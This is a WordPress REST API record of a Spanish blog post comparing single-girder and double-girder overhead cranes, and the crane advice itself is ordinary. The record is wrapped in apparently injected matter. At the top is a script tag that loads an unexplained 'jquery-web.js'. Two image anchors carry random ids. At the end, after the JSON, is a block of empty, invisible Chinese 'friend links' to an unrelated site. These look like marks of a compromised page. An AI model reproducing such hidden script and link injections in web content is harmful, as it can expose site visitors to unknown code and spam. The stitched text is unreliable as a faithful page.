<script src="///jquery-web.js"></script>{"id":7686,"date":"2019-07-02T07:21:53","date_gmt":"2019-07-02T05:21:53","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=7686"},"modified":"2019-07-02T00:24:28","modified_gmt":"2019-07-01T22:24:28","slug":"comparativa-ventajas-y-diferencias-entre-una-grua-monorrail-y-una-grua-birrail","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/comparativa-ventajas-y-diferencias-entre-una-grua-monorrail-y-una-grua-birrail\/","title":{"rendered":"Comparativa, ventajas y diferencias entre una gr\u00faa monorra\u00edl y una gr\u00faa birra\u00edl"},"content":{"rendered":"<h3><strong><em>Independientemente de las particularidades de estos dos tipos de gr\u00faas,\u00a0la opci\u00f3n final depender\u00e1 de la aplicaci\u00f3n, el tipo y la carga de trabajo que vayan a realizar.<\/em><\/strong><\/h3>\n<p>A continuaci\u00f3n se listan una serie\u00a0caracter\u00edsticas gen\u00e9ricas en funci\u00f3n del modelo de gr\u00faa.<\/p>\n<p><strong>Gr\u00faas monoviga:<\/strong><\/p>\n<ul>\n<li>M\u00e1s ligera en peso, con lo que trasmite carga algo menor a la estructura de la nave.<\/li>\n<li>Precio m\u00e1s econ\u00f3mico.<\/li>\n<li>Acercamiento en sentido lateral m\u00e1s optimizado. Sobre todo si llevan instalado un polipasto con dise\u00f1o en C.<\/li>\n<li>Cargas est\u00e1ndar entre 1 y 10 toneladas.<\/li>\n<li>La estructura de la viga est\u00e1 m\u00e1s solicitada a\u00a0esfuerzos, puesto que la carga y el peso del carro concentran\u00a0m\u00e1s puntualmente su carga sobre la propia viga.<\/li>\n<li>La fatiga sobre la estructura de los testeros es mayor\u00a0al estar el peso concentrado en un solo apoyo.<\/li>\n<li>En el caso de utilizar vigas a base de perfil laminado,\u00a0hay que tener\u00a0en cuenta la fatiga de las alas de la viga.<\/li>\n<li>Id\u00f3nea cuando hay poco g\u00e1libo entre carril y cercha.<\/li>\n<li>Altura bajo viga mayor.<\/li>\n<\/ul>\n<p><a id="dawanwwf" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2019\/07\/monorrail-CAM01311-e1562018884734.jpg\"><\/a><\/p>\n<p><strong>Gr\u00faas birra\u00edl:<\/strong><\/p>\n<ul>\n<li>Altura perdida menor, frente al equivalente en\u00a0monoviga. Por tanto, mejor aprovechamiento de la\u00a0nave, permitiendo en naves nuevas economizar en\u00a0altura construida, y ahorrar en gasto de calefacci\u00f3n y\u00a0aire acondicionado.<\/li>\n<li>Mayor estabilidad de la carga. Muy importante en el caso de cargas voluminosas.<\/li>\n<li>Mejor reparto de cargas sobre la misma estructura del\u00a0puente.<\/li>\n<li>Mejor accesibilidad para mantenimiento, pues permiten la instalaci\u00f3n de plataformas y balconcillos,\u00a0mejorando de esta manera la seguridad del personal.<\/li>\n<li>Posibilidad de instalar una segunda elevaci\u00f3n en el\u00a0mismo carro.<\/li>\n<\/ul>\n<p><a id="sgpehamt" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2019\/07\/birrail-IMG_9527-e1562018997479.jpg\"><\/a><\/p>\n<p>Que otras caracter\u00edsticas y ventajas crees que caracterizan a cada uno de estos modelos de gr\u00faa?<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Independientemente de las particularidades de estos dos tipos de gr\u00faas,\u00a0la opci\u00f3n final depender\u00e1 de la aplicaci\u00f3n, el tipo y la carga de trabajo que vayan a realizar. A continuaci\u00f3n se listan una serie\u00a0caracter\u00edsticas gen\u00e9ricas en funci\u00f3n del modelo de gr\u00faa. Gr\u00faas monoviga: M\u00e1s ligera en peso, con lo que trasmite carga algo menor a la [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":7738,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[18,34,645],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2019\/07\/gruas-puente-mexico_16036873565_5a16c26e93_o.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/7686"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=7686"}],"version-history":[{"count":9,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/7686\/revisions"}],"predecessor-version":[{"id":7742,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/7686\/revisions\/7742"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/7738"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=7686"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=7686"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=7686"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<div align="center">友情链接：<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a>&nbsp;&nbsp;<a href="https://www.halosee.com/" target="_blank"></a></div></html>